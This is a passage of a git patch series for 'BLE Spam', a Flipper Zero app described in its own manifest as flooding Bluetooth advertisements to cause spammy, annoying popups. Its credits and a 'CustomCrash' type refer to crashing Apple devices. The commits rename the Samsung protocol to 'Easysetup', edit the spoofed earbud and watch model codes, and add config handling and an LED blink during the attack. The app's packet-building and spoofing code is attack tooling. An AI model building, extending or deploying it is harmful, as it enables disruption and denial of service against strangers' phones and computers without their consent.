_cfg) { - const SmartthingsCfg* cfg = &_cfg->smartthings; +static const char* easysetup_get_name(const ProtocolCfg* _cfg) { + const EasysetupCfg* cfg = &_cfg->easysetup; return type_names[cfg->type]; } -static uint8_t packet_sizes[SmartthingsTypeCOUNT] = { - [SmartthingsTypeBuds] = 31, - [SmartthingsTypeWatch] = 15, +static uint8_t packet_sizes[EasysetupTypeCOUNT] = { + [EasysetupTypeBuds] = 31, + [EasysetupTypeWatch] = 15, }; -void smartthings_make_packet(uint8_t* out_size, uint8_t** out_packet, const ProtocolCfg* _cfg) { - const SmartthingsCfg* cfg = _cfg ? &_cfg->smartthings : NULL; +void easysetup_make_packet(uint8_t* out_size, uint8_t** out_packet, const ProtocolCfg* _cfg) { + const EasysetupCfg* cfg = _cfg ? &_cfg->easysetup : NULL; - SmartthingsType type; + EasysetupType type; if(cfg) { type = cfg->type; } else { - type = rand() % SmartthingsTypeCOUNT; + type = rand() % EasysetupTypeCOUNT; } uint8_t size = packet_sizes[type]; @@ -92,7 +92,7 @@ void smartthings_make_packet(uint8_t* out_size, uint8_t** out_packet, const Prot uint8_t i = 0; switch(type) { - case SmartthingsTypeBuds: { + case EasysetupTypeBuds: { uint32_t model; if(cfg && cfg->data.buds.model != 0x000000) { model = cfg->data.buds.model; @@ -135,7 +135,7 @@ void smartthings_make_packet(uint8_t* out_size, uint8_t** out_packet, const Prot // Truncated AD segment, Android seems to fill in the rest with zeros break; } - case SmartthingsTypeWatch: { + case EasysetupTypeWatch: { uint8_t model; if(cfg && cfg->data.watch.model != 0x00) { model = cfg->data.watch.model; @@ -178,23 +178,23 @@ enum { }; static void config_callback(void* _ctx, uint32_t index) { Ctx* ctx = _ctx; - SmartthingsCfg* cfg = &ctx->attack->payload.cfg.smartthings; + EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup; scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index); switch(cfg->type) { - case SmartthingsTypeBuds: { + case EasysetupTypeBuds: { switch(index) { case ConfigBudsModel: - scene_manager_next_scene(ctx->scene_manager, SceneSmartthingsBudsModel); + scene_manager_next_scene(ctx->scene_manager, SceneEasysetupBudsModel); break; default: break; } break; } - case SmartthingsTypeWatch: { + case EasysetupTypeWatch: { switch(index) { case ConfigWatchModel: - scene_manager_next_scene(ctx->scene_manager, SceneSmartthingsWatchModel); + scene_manager_next_scene(ctx->scene_manager, SceneEasysetupWatchModel); break; default: break; @@ -206,7 +206,7 @@ static void config_callback(void* _ctx, uint32_t index) { } } static void buds_model_changed(VariableItem* item) { - SmartthingsCfg* cfg = variable_item_get_context(item); + EasysetupCfg* cfg = variable_item_get_context(item); uint8_t index = variable_item_get_current_value_index(item); if(index) { index--; @@ -218,7 +218,7 @@ static void buds_model_changed(VariableItem* item) { } } static void watch_model_changed(VariableItem* item) { - SmartthingsCfg* cfg = variable_item_get_context(item); + EasysetupCfg* cfg = variable_item_get_context(item); uint8_t index = variable_item_get_current_value_index(item); if(index) { index--; @@ -229,14 +229,14 @@ static void watch_model_changed(VariableItem* item) { variable_item_set_current_value_text(item, "Random"); } } -static void smartthings_extra_config(Ctx* ctx) { - SmartthingsCfg* cfg = &ctx->attack->payload.cfg.smartthings; +static void easysetup_extra_config(Ctx* ctx) { + EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup; VariableItemList* list = ctx->variable_item_list; VariableItem* item; size_t value_index; switch(cfg->type) { - case SmartthingsTypeBuds: { + case EasysetupTypeBuds: { item = variable_item_list_add( list, "Model Code", buds_models_count + 1, buds_model_changed, cfg); const char* model_name = NULL; @@ -262,7 +262,7 @@ static void smartthings_extra_config(Ctx* ctx) { variable_item_set_current_value_text(item, model_name); break; } - case SmartthingsTypeWatch: { + case EasysetupTypeWatch: { item = variable_item_list_add( list, "Model Code", watch_models_count + 1, watch_model_changed, cfg); const char* model_name = NULL; @@ -295,23 +295,23 @@ static void smartthings_extra_config(Ctx* ctx) { variable_item_list_set_enter_callback(list, config_callback, ctx); } -const Protocol protocol_smartthings = { +const Protocol protocol_easysetup = { .icon = &I_android, - .get_name = smartthings_get_name, - .make_packet = smartthings_make_packet, - .extra_config = smartthings_extra_config, + .get_name = easysetup_get_name, + .make_packet = easysetup_make_packet, + .extra_config = easysetup_extra_config, }; static void buds_model_callback(void* _ctx, uint32_t index) { Ctx* ctx = _ctx; - SmartthingsCfg* cfg = &ctx->attack->payload.cfg.smartthings; + EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup; switch(index) { case 0: cfg->data.buds.model = 0x000000; scene_manager_previous_scene(ctx->scene_manager); break; case buds_models_count + 1: - scene_manager_next_scene(ctx->scene_manager, SceneSmartthingsBudsModelCustom); + scene_manager_next_scene(ctx->scene_manager, SceneEasysetupBudsModelCustom); break; default: cfg->data.buds.model = buds_models[index - 1].value; @@ -319,9 +319,9 @@ static void buds_model_callback(void* _ctx, uint32_t index) { break; } } -void scene_smartthings_buds_model_on_enter(void* _ctx) { +void scene_easysetup_buds_model_on_enter(void* _ctx) { Ctx* ctx = _ctx; - SmartthingsCfg* cfg = &ctx->attack->payload.cfg.smartthings; + EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup; Submenu* submenu = ctx->submenu; uint32_t selected = 0; bool found = false; @@ -349,12 +349,12 @@ void scene_smartthings_buds_model_on_enter(void* _ctx) { view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu); } -bool scene_smartthings_buds_model_on_event(void* _ctx, SceneManagerEvent event) { +bool scene_easysetup_buds_model_on_event(void* _ctx, SceneManagerEvent event) { UNUSED(_ctx); UNUSED(event); return false; } -void scene_smartthings_buds_model_on_exit(void* _ctx) { +void scene_easysetup_buds_model_on_exit(void* _ctx) { UNUSED(_ctx); } @@ -363,9 +363,9 @@ static void buds_model_custom_callback(void* _ctx) { scene_manager_previous_scene(ctx->scene_manager); scene_manager_previous_scene(ctx->scene_manager); } -void scene_smartthings_buds_model_custom_on_enter(void* _ctx) { +void scene_easysetup_buds_model_custom_on_enter(void* _ctx) { Ctx* ctx = _ctx; - SmartthingsCfg* cfg = &ctx->attack->payload.cfg.smartthings; + EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup; ByteInput* byte_input = ctx->byte_input; byte_input_set_header_text(byte_input, "Enter custom Model Code"); @@ -379,28 +379,28 @@ void scene_smartthings_buds_model_custom_on_enter(void* _ctx) { view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput); } -bool scene_smartthings_buds_model_custom_on_event(void* _ctx, SceneManagerEvent event) { +bool scene_easysetup_buds_model_custom_on_event(void* _ctx, SceneManagerEvent event) { UNUSED(_ctx); UNUSED(event); return false; } -void scene_smartthings_buds_model_custom_on_exit(void* _ctx) { +void scene_easysetup_buds_model_custom_on_exit(void* _ctx) { Ctx* ctx = _ctx; - SmartthingsCfg* cfg = &ctx->attack->payload.cfg.smartthings; + EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup; cfg->data.buds.model = (ctx->byte_store[0] << 0x10) + (ctx->byte_store[1] << 0x08) + (ctx->byte_store[2] << 0x00); } static void watch_model_callback(void* _ctx, uint32_t index) { Ctx* ctx = _ctx; - SmartthingsCfg* cfg = &ctx->attack->payload.cfg.smartthings; + EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup; switch(index) { case 0: cfg->data.watch.model = 0x00; scene_manager_previous_scene(ctx->scene_manager); break; case watch_models_count + 1: - scene_manager_next_scene(ctx->scene_manager, SceneSmartthingsWatchModelCustom); + scene_manager_next_scene(ctx->scene_manager, SceneEasysetupWatchModelCustom); break; default: cfg->data.watch.model = watch_models[index - 1].value; @@ -408,9 +408,9 @@ static void watch_model_callback(void* _ctx, uint32_t index) { break; } } -void scene_smartthings_watch_model_on_enter(void* _ctx) { +void scene_easysetup_watch_model_on_enter(void* _ctx) { Ctx* ctx = _ctx; - SmartthingsCfg* cfg = &ctx->attack->payload.cfg.smartthings; + EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup; Submenu* submenu = ctx->submenu; uint32_t selected = 0; bool found = false; @@ -438,12 +438,12 @@ void scene_smartthings_watch_model_on_enter(void* _ctx) { view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu); } -bool scene_smartthings_watch_model_on_event(void* _ctx, SceneManagerEvent event) { +bool scene_easysetup_watch_model_on_event(void* _ctx, SceneManagerEvent event) { UNUSED(_ctx); UNUSED(event); return false; } -void scene_smartthings_watch_model_on_exit(void* _ctx) { +void scene_easysetup_watch_model_on_exit(void* _ctx) { UNUSED(_ctx); } @@ -452,9 +452,9 @@ static void watch_model_custom_callback(void* _ctx) { scene_manager_previous_scene(ctx->scene_manager); scene_manager_previous_scene(ctx->scene_manager); } -void scene_smartthings_watch_model_custom_on_enter(void* _ctx) { +void scene_easysetup_watch_model_custom_on_enter(void* _ctx) { Ctx* ctx = _ctx; - SmartthingsCfg* cfg = &ctx->attack->payload.cfg.smartthings; + EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup; ByteInput* byte_input = ctx->byte_input; byte_input_set_header_text(byte_input, "Enter custom Model Code"); @@ -466,13 +466,13 @@ void scene_smartthings_watch_model_custom_on_enter(void* _ctx) { view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput); } -bool scene_smartthings_watch_model_custom_on_event(void* _ctx, SceneManagerEvent event) { +bool scene_easysetup_watch_model_custom_on_event(void* _ctx, SceneManagerEvent event) { UNUSED(_ctx); UNUSED(event); return false; } -void scene_smartthings_watch_model_custom_on_exit(void* _ctx) { +void scene_easysetup_watch_model_custom_on_exit(void* _ctx) { Ctx* ctx = _ctx; - SmartthingsCfg* cfg = &ctx->attack->payload.cfg.smartthings; + EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup; cfg->data.watch.model = (ctx->byte_store[0] << 0x00); } diff --git a/applications/external/ble_spam/protocols/smartthings.h b/applications/external/ble_spam/protocols/easysetup.h similarity index 61% rename from applications/external/ble_spam/protocols/smartthings.h rename to applications/external/ble_spam/protocols/easysetup.h index bda7a9bb7..4c9458538 100644 --- a/applications/external/ble_spam/protocols/smartthings.h +++ b/applications/external/ble_spam/protocols/easysetup.h @@ -5,13 +5,13 @@ // Research by @Spooks4576 typedef enum { - SmartthingsTypeBuds, - SmartthingsTypeWatch, - SmartthingsTypeCOUNT, -} SmartthingsType; + EasysetupTypeBuds, + EasysetupTypeWatch, + EasysetupTypeCOUNT, +} EasysetupType; typedef struct { - SmartthingsType type; + EasysetupType type; union { struct { uint32_t model; @@ -20,6 +20,6 @@ typedef struct { uint8_t model; } watch; } data; -} SmartthingsCfg; +} EasysetupCfg; -extern const Protocol protocol_smartthings; +extern const Protocol protocol_easysetup; diff --git a/applications/external/ble_spam/protocols/easysetup_scenes.h b/applications/external/ble_spam/protocols/easysetup_scenes.h new file mode 100644 index 000000000..59814a728 --- /dev/null +++ b/applications/external/ble_spam/protocols/easysetup_scenes.h @@ -0,0 +1,4 @@ +ADD_SCENE(easysetup_buds_model, EasysetupBudsModel) +ADD_SCENE(easysetup_buds_model_custom, EasysetupBudsModelCustom) +ADD_SCENE(easysetup_watch_model, EasysetupWatchModel) +ADD_SCENE(easysetup_watch_model_custom, EasysetupWatchModelCustom) diff --git a/applications/external/ble_spam/protocols/smartthings_scenes.h b/applications/external/ble_spam/protocols/smartthings_scenes.h deleted file mode 100644 index d184880da..000000000 --- a/applications/external/ble_spam/protocols/smartthings_scenes.h +++ /dev/null @@ -1,4 +0,0 @@ -ADD_SCENE(smartthings_buds_model, SmartthingsBudsModel) -ADD_SCENE(smartthings_buds_model_custom, SmartthingsBudsModelCustom) -ADD_SCENE(smartthings_watch_model, SmartthingsWatchModel) -ADD_SCENE(smartthings_watch_model_custom, SmartthingsWatchModelCustom) From ed22a69d841b2d32f68c0174a77f8e42bec0e5c5 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Sat, 21 Oct 2023 05:07:47 +0100 Subject: [PATCH 32/41] BLE Spam 3.1 --- applications/external/ble_spam/application.fam | 2 +- applications/external/ble_spam/ble_spam.c | 2 +- applications/external/ble_spam/protocols/easysetup.c | 8 ++++---- 3 files changed, 6 insertions(+), 6 deletions(-) diff --git a/applications/external/ble_spam/application.fam b/applications/external/ble_spam/application.fam index e3c454e87..23d80b459 100644 --- a/applications/external/ble_spam/application.fam +++ b/applications/external/ble_spam/application.fam @@ -8,7 +8,7 @@ App( fap_category="Bluetooth", fap_author="@Willy-JL @ECTO-1A @Spooks4576", fap_weburl="https://github.com/Flipper-XFW/Xtreme-Apps/tree/dev/ble_spam", - fap_version="3.0", + fap_version="3.1", fap_description="Flood BLE advertisements to cause spammy and annoying popups/notifications", fap_icon_assets="icons", fap_icon_assets_symbol="ble_spam", diff --git a/applications/external/ble_spam/ble_spam.c b/applications/external/ble_spam/ble_spam.c index a0977c19e..2277b51cd 100644 --- a/applications/external/ble_spam/ble_spam.c +++ b/applications/external/ble_spam/ble_spam.c @@ -315,7 +315,7 @@ static void draw_callback(Canvas* canvas, void* _ctx) { "App+Spam: \e#WillyJL\e# XFW\n" "Apple+Crash: \e#ECTO-1A\e#\n" "Android+Win: \e#Spooks4576\e#\n" - " Version \e#3.0\e#", + " Version \e#3.1\e#", false); break; default: { diff --git a/applications/external/ble_spam/protocols/easysetup.c b/applications/external/ble_spam/protocols/easysetup.c index 24046d6c3..b0f85f09a 100644 --- a/applications/external/ble_spam/protocols/easysetup.c +++ b/applications/external/ble_spam/protocols/easysetup.c @@ -8,6 +8,8 @@ const struct { uint32_t value; const char* name; } buds_models[] = { + {0xEE7A0C, "Fallback Buds"}, + {0x9D1700, "Fallback Dots"}, {0x39EA48, "Light Purple Buds2"}, {0xA7C62C, "Bluish Silver Buds2"}, {0x850116, "Black Buds Live"}, @@ -26,8 +28,6 @@ const struct { {0x42C519, "Red Buds Live"}, {0xAE073A, "Black & White Buds2"}, {0x011716, "Sleek Black Buds2"}, - {0x9D1700, "Fallback Image"}, - {0xEE7A0C, "Fallback Buds"}, }; const uint8_t buds_models_count = COUNT_OF(buds_models); @@ -35,6 +35,7 @@ const struct { uint8_t value; const char* name; } watch_models[] = { + {0x1A, "Fallback Watch"}, {0x01, "White Watch4 Classic 44"}, {0x02, "Black Watch4 Classic 40"}, {0x03, "White Watch4 Classic 40"}, @@ -59,8 +60,7 @@ const struct { {0x1C, "Gold Watch6 Gold 40mm"}, {0x1D, "Silver Watch6 Cyan 44mm"}, {0x1E, "Black Watch6 Classic 43mm"}, - {0x20, "Green Goofy"}, - {0x1A, "Fallback Watch"}, + {0x20, "Green Watch6 Classic 43mm"}, }; const uint8_t watch_models_count = COUNT_OF(watch_models); From 9db35bd4796ea77f10c38dcb01c4f9a9403f7c7a Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Sat, 21 Oct 2023 05:15:27 +0100 Subject: [PATCH 33/41] Add android 13 info to buds spam --- applications/external/ble_spam/protocols/easysetup.c | 2 ++ 1 file changed, 2 insertions(+) diff --git a/applications/external/ble_spam/protocols/easysetup.c b/applications/external/ble_spam/protocols/easysetup.c index b0f85f09a..fa0a98aa2 100644 --- a/applications/external/ble_spam/protocols/easysetup.c +++ b/applications/external/ble_spam/protocols/easysetup.c @@ -260,6 +260,8 @@ static void easysetup_extra_config(Ctx* ctx) { } variable_item_set_current_value_index(item, value_index); variable_item_set_current_value_text(item, model_name); + + variable_item_list_add(list, "Works on Android 13 and up", 0, NULL, NULL); break; } case EasysetupTypeWatch: { From c73c487cfe292be301355ce96b5c39835204071a Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Sat, 21 Oct 2023 06:35:49 +0100 Subject: [PATCH 34/41] BLE Spam base config support ok interaction --- applications/external/ble_spam/ble_spam.h | 1 + .../external/ble_spam/protocols/_base.h | 1 + .../external/ble_spam/protocols/continuity.c | 38 +++++++++++++++++++ .../external/ble_spam/protocols/easysetup.c | 18 +++++++++ .../external/ble_spam/protocols/fastpair.c | 12 ++++++ .../external/ble_spam/protocols/swiftpair.c | 12 ++++++ .../external/ble_spam/scenes/config.c | 17 +++++++++ 7 files changed, 99 insertions(+) diff --git a/applications/external/ble_spam/ble_spam.h b/applications/external/ble_spam/ble_spam.h index edf2c55ca..eaf06b9e1 100644 --- a/applications/external/ble_spam/ble_spam.h +++ b/applications/external/ble_spam/ble_spam.h @@ -26,6 +26,7 @@ typedef struct Attack Attack; typedef struct { Attack* attack; uint8_t byte_store[3]; + VariableItemListEnterCallback fallback_config_enter; ViewDispatcher* view_dispatcher; SceneManager* scene_manager; diff --git a/applications/external/ble_spam/protocols/_base.h b/applications/external/ble_spam/protocols/_base.h index 0b6fdacbd..6f32b9990 100644 --- a/applications/external/ble_spam/protocols/_base.h +++ b/applications/external/ble_spam/protocols/_base.h @@ -17,4 +17,5 @@ typedef struct { const char* (*get_name)(const ProtocolCfg* _cfg); void (*make_packet)(uint8_t* _size, uint8_t** _packet, const ProtocolCfg* _cfg); void (*extra_config)(Ctx* ctx); + uint8_t (*config_count)(const ProtocolCfg* _cfg); } Protocol; diff --git a/applications/external/ble_spam/protocols/continuity.c b/applications/external/ble_spam/protocols/continuity.c index 4233f0457..4b29683ab 100644 --- a/applications/external/ble_spam/protocols/continuity.c +++ b/applications/external/ble_spam/protocols/continuity.c @@ -277,11 +277,19 @@ enum { _ConfigPpExtraStart = ConfigExtraStart, ConfigPpModel, ConfigPpPrefix, + ConfigPpCOUNT, }; enum { _ConfigNaExtraStart = ConfigExtraStart, ConfigNaAction, ConfigNaFlags, + ConfigNaCOUNT, +}; +enum { + _ConfigCcExtraStart = ConfigExtraStart, + ConfigCcInfoLock, + ConfigCcInfoDevice, + ConfigCcCOUNT, }; static void config_callback(void* _ctx, uint32_t index) { Ctx* ctx = _ctx; @@ -297,6 +305,7 @@ static void config_callback(void* _ctx, uint32_t index) { scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpPrefix); break; default: + ctx->fallback_config_enter(ctx, index); break; } break; @@ -310,11 +319,24 @@ static void config_callback(void* _ctx, uint32_t index) { scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaFlags); break; default: + ctx->fallback_config_enter(ctx, index); + break; + } + break; + } + case ContinuityTypeCustomCrash: { + switch(index) { + case ConfigCcInfoLock: + case ConfigCcInfoDevice: + break; + default: + ctx->fallback_config_enter(ctx, index); break; } break; } default: + ctx->fallback_config_enter(ctx, index); break; } } @@ -470,11 +492,27 @@ static void continuity_extra_config(Ctx* ctx) { variable_item_list_set_enter_callback(list, config_callback, ctx); } +static uint8_t config_counts[ContinuityTypeCOUNT] = { + [ContinuityTypeAirDrop] = 0, + [ContinuityTypeProximityPair] = ConfigPpCOUNT - ConfigExtraStart - 1, + [ContinuityTypeAirplayTarget] = 0, + [ContinuityTypeHandoff] = 0, + [ContinuityTypeTetheringSource] = 0, + [ContinuityTypeNearbyAction] = ConfigNaCOUNT - ConfigExtraStart - 1, + [ContinuityTypeNearbyInfo] = 0, + [ContinuityTypeCustomCrash] = ConfigCcCOUNT - ConfigExtraStart - 1, +}; +static uint8_t continuity_config_count(const ProtocolCfg* _cfg) { + const ContinuityCfg* cfg = &_cfg->continuity; + return config_counts[cfg->type]; +} + const Protocol protocol_continuity = { .icon = &I_apple, .get_name = continuity_get_name, .make_packet = continuity_make_packet, .extra_config = continuity_extra_config, + .config_count = continuity_config_count, }; static void pp_model_callback(void* _ctx, uint32_t index) { diff --git a/applications/external/ble_spam/protocols/easysetup.c b/applications/external/ble_spam/protocols/easysetup.c index fa0a98aa2..98a9541de 100644 --- a/applications/external/ble_spam/protocols/easysetup.c +++ b/applications/external/ble_spam/protocols/easysetup.c @@ -171,10 +171,13 @@ void easysetup_make_packet(uint8_t* out_size, uint8_t** out_packet, const Protoc enum { _ConfigBudsExtraStart = ConfigExtraStart, ConfigBudsModel, + ConfigBudsInfoVersion, + ConfigBudsCOUNT, }; enum { _ConfigWatchExtraStart = ConfigExtraStart, ConfigWatchModel, + ConfigWatchCOUNT, }; static void config_callback(void* _ctx, uint32_t index) { Ctx* ctx = _ctx; @@ -186,7 +189,10 @@ static void config_callback(void* _ctx, uint32_t index) { case ConfigBudsModel: scene_manager_next_scene(ctx->scene_manager, SceneEasysetupBudsModel); break; + case ConfigBudsInfoVersion: + break; default: + ctx->fallback_config_enter(ctx, index); break; } break; @@ -197,11 +203,13 @@ static void config_callback(void* _ctx, uint32_t index) { scene_manager_next_scene(ctx->scene_manager, SceneEasysetupWatchModel); break; default: + ctx->fallback_config_enter(ctx, index); break; } break; } default: + ctx->fallback_config_enter(ctx, index); break; } } @@ -297,11 +305,21 @@ static void easysetup_extra_config(Ctx* ctx) { variable_item_list_set_enter_callback(list, config_callback, ctx); } +static uint8_t config_counts[EasysetupTypeCOUNT] = { + [EasysetupTypeBuds] = ConfigBudsCOUNT - ConfigExtraStart - 1, + [EasysetupTypeWatch] = ConfigWatchCOUNT - ConfigExtraStart - 1, +}; +static uint8_t easysetup_config_count(const ProtocolCfg* _cfg) { + const EasysetupCfg* cfg = &_cfg->easysetup; + return config_counts[cfg->type]; +} + const Protocol protocol_easysetup = { .icon = &I_android, .get_name = easysetup_get_name, .make_packet = easysetup_make_packet, .extra_config = easysetup_extra_config, + .config_count = easysetup_config_count, }; static void buds_model_callback(void* _ctx, uint32_t index) { diff --git a/applications/external/ble_spam/protocols/fastpair.c b/applications/external/ble_spam/protocols/fastpair.c index 2e8f6749b..a5caf80cc 100644 --- a/applications/external/ble_spam/protocols/fastpair.c +++ b/applications/external/ble_spam/protocols/fastpair.c @@ -82,6 +82,8 @@ static void fastpair_make_packet(uint8_t* _size, uint8_t** _packet, const Protoc enum { _ConfigExtraStart = ConfigExtraStart, ConfigModel, + ConfigInfoRequire, + ConfigCOUNT, }; static void config_callback(void* _ctx, uint32_t index) { Ctx* ctx = _ctx; @@ -89,7 +91,11 @@ static void config_callback(void* _ctx, uint32_t index) { switch(index) { case ConfigModel: scene_manager_next_scene(ctx->scene_manager, SceneFastpairModel); + break; + case ConfigInfoRequire: + break; default: + ctx->fallback_config_enter(ctx, index); break; } } @@ -139,11 +145,17 @@ static void fastpair_extra_config(Ctx* ctx) { variable_item_list_set_enter_callback(list, config_callback, ctx); } +static uint8_t fastpair_config_count(const ProtocolCfg* _cfg) { + UNUSED(_cfg); + return ConfigCOUNT; +} + const Protocol protocol_fastpair = { .icon = &I_android, .get_name = fastpair_get_name, .make_packet = fastpair_make_packet, .extra_config = fastpair_extra_config, + .config_count = fastpair_config_count, }; static void model_callback(void* _ctx, uint32_t index) { diff --git a/applications/external/ble_spam/protocols/swiftpair.c b/applications/external/ble_spam/protocols/swiftpair.c index d8280e598..fc21f1778 100644 --- a/applications/external/ble_spam/protocols/swiftpair.c +++ b/applications/external/ble_spam/protocols/swiftpair.c @@ -49,6 +49,8 @@ static void swiftpair_make_packet(uint8_t* _size, uint8_t** _packet, const Proto enum { _ConfigExtraStart = ConfigExtraStart, ConfigName, + ConfigInfoRequire, + ConfigCOUNT, }; static void config_callback(void* _ctx, uint32_t index) { Ctx* ctx = _ctx; @@ -56,7 +58,11 @@ static void config_callback(void* _ctx, uint32_t index) { switch(index) { case ConfigName: scene_manager_next_scene(ctx->scene_manager, SceneSwiftpairName); + break; + case ConfigInfoRequire: + break; default: + ctx->fallback_config_enter(ctx, index); break; } } @@ -73,11 +79,17 @@ static void swiftpair_extra_config(Ctx* ctx) { variable_item_list_set_enter_callback(list, config_callback, ctx); } +static uint8_t swiftpair_config_count(const ProtocolCfg* _cfg) { + UNUSED(_cfg); + return ConfigCOUNT; +} + const Protocol protocol_swiftpair = { .icon = &I_windows, .get_name = swiftpair_get_name, .make_packet = swiftpair_make_packet, .extra_config = swiftpair_extra_config, + .config_count = swiftpair_config_count, }; static void name_callback(void* _ctx) { diff --git a/applications/external/ble_spam/scenes/config.c b/applications/external/ble_spam/scenes/config.c index afd7159af..5d1267276 100644 --- a/applications/external/ble_spam/scenes/config.c +++ b/applications/external/ble_spam/scenes/config.c @@ -8,6 +8,21 @@ static void random_mac_changed(VariableItem* item) { variable_item_set_current_value_text(item, ctx->attack->payload.random_mac ? "ON" : "OFF"); } +static void config_callback(void* _ctx, uint32_t index) { + Ctx* ctx = _ctx; + scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index); + if(ctx->attack->protocol && ctx->attack->protocol->config_count) { + uint8_t extra = ctx->attack->protocol->config_count(&ctx->attack->payload.cfg); + if(index > extra) index -= extra; + } + + switch(index) { + case ConfigRandomMac: + break; + default: + break; + } +} void scene_config_on_enter(void* _ctx) { Ctx* ctx = _ctx; VariableItem* item; @@ -20,9 +35,11 @@ void scene_config_on_enter(void* _ctx) { variable_item_set_current_value_index(item, ctx->attack->payload.random_mac); variable_item_set_current_value_text(item, ctx->attack->payload.random_mac ? "ON" : "OFF"); + variable_item_list_set_enter_callback(list, config_callback, ctx); if(!ctx->attack->protocol) { variable_item_list_add(list, "None shall escape the S I N K", 0, NULL, NULL); } else if(ctx->attack->protocol->extra_config) { + ctx->fallback_config_enter = config_callback; ctx->attack->protocol->extra_config(ctx); } From f514efd95101e7f678bf8d01a0bce2d17e0b97ee Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Sat, 21 Oct 2023 08:27:01 +0100 Subject: [PATCH 35/41] BLE Spam add led indicator blink (v3.2) --- .../external/ble_spam/application.fam | 2 +- applications/external/ble_spam/ble_spam.c | 30 ++++++++++++++++++- applications/external/ble_spam/ble_spam.h | 4 +++ .../external/ble_spam/scenes/config.c | 22 +++++++++----- 4 files changed, 48 insertions(+), 10 deletions(-) diff --git a/applications/external/ble_spam/application.fam b/applications/external/ble_spam/application.fam index 23d80b459..b6a3ce5ea 100644 --- a/applications/external/ble_spam/application.fam +++ b/applications/external/ble_spam/application.fam @@ -8,7 +8,7 @@ App( fap_category="Bluetooth", fap_author="@Willy-JL @ECTO-1A @Spooks4576", fap_weburl="https://github.com/Flipper-XFW/Xtreme-Apps/tree/dev/ble_spam", - fap_version="3.1", + fap_version="3.2", fap_description="Flood BLE advertisements to cause spammy and annoying popups/notifications", fap_icon_assets="icons", fap_icon_assets_symbol="ble_spam", diff --git a/applications/external/ble_spam/ble_spam.c b/applications/external/ble_spam/ble_spam.c index 2277b51cd..11eeaabac 100644 --- a/applications/external/ble_spam/ble_spam.c +++ b/applications/external/ble_spam/ble_spam.c @@ -149,6 +149,27 @@ typedef struct { int8_t index; } State; +NotificationMessage blink_message = { + .type = NotificationMessageTypeLedBlinkStart, + .data.led_blink.color = LightBlue | LightGreen, + .data.led_blink.on_time = 10, + .data.led_blink.period = 100, +}; +const NotificationSequence blink_sequence = { + &blink_message, + &message_do_not_reset, + NULL, +}; +static void start_blink(State* state) { + uint16_t period = delays[state->delay]; + if(period <= 100) period += 30; + blink_message.data.led_blink.period = period; + notification_message_block(state->ctx.notification, &blink_sequence); +} +static void stop_blink(State* state) { + notification_message_block(state->ctx.notification, &sequence_blink_stop); +} + static int32_t adv_thread(void* _ctx) { State* state = _ctx; uint8_t size; @@ -158,6 +179,7 @@ static int32_t adv_thread(void* _ctx) { Payload* payload = &attacks[state->index].payload; const Protocol* protocol = attacks[state->index].protocol; if(!payload->random_mac) furi_hal_random_fill_buf(mac, sizeof(mac)); + if(state->ctx.led_indicator) start_blink(state); while(state->advertising) { if(protocol) { @@ -175,6 +197,7 @@ static int32_t adv_thread(void* _ctx) { furi_hal_bt_custom_adv_stop(); } + if(state->ctx.led_indicator) stop_blink(state); return 0; } @@ -315,7 +338,7 @@ static void draw_callback(Canvas* canvas, void* _ctx) { "App+Spam: \e#WillyJL\e# XFW\n" "Apple+Crash: \e#ECTO-1A\e#\n" "Android+Win: \e#Spooks4576\e#\n" - " Version \e#3.1\e#", + " Version \e#3.2\e#", false); break; default: { @@ -385,11 +408,13 @@ static bool input_callback(InputEvent* input, void* _ctx) { case InputKeyUp: if(is_attack && state->delay < COUNT_OF(delays) - 1) { state->delay++; + if(advertising) start_blink(state); } break; case InputKeyDown: if(is_attack && state->delay > 0) { state->delay--; + if(advertising) start_blink(state); } break; case InputKeyLeft: @@ -429,7 +454,9 @@ int32_t ble_spam(void* p) { furi_thread_set_callback(state->thread, adv_thread); furi_thread_set_context(state->thread, state); furi_thread_set_stack_size(state->thread, 4096); + state->ctx.led_indicator = true; + state->ctx.notification = furi_record_open(RECORD_NOTIFICATION); Gui* gui = furi_record_open(RECORD_GUI); state->ctx.view_dispatcher = view_dispatcher_alloc(); view_dispatcher_enable_queue(state->ctx.view_dispatcher); @@ -486,6 +513,7 @@ int32_t ble_spam(void* p) { scene_manager_free(state->ctx.scene_manager); view_dispatcher_free(state->ctx.view_dispatcher); furi_record_close(RECORD_GUI); + furi_record_close(RECORD_NOTIFICATION); furi_thread_free(state->thread); free(state); diff --git a/applications/external/ble_spam/ble_spam.h b/applications/external/ble_spam/ble_spam.h index eaf06b9e1..b72ca7cc5 100644 --- a/applications/external/ble_spam/ble_spam.h +++ b/applications/external/ble_spam/ble_spam.h @@ -1,5 +1,6 @@ #pragma once +#include #include #include #include @@ -19,6 +20,7 @@ enum { enum { ConfigRandomMac, ConfigExtraStart = ConfigRandomMac, + ConfigLedIndicator, }; typedef struct Attack Attack; @@ -27,7 +29,9 @@ typedef struct { Attack* attack; uint8_t byte_store[3]; VariableItemListEnterCallback fallback_config_enter; + bool led_indicator; + NotificationApp* notification; ViewDispatcher* view_dispatcher; SceneManager* scene_manager; diff --git a/applications/external/ble_spam/scenes/config.c b/applications/external/ble_spam/scenes/config.c index 5d1267276..376d336ac 100644 --- 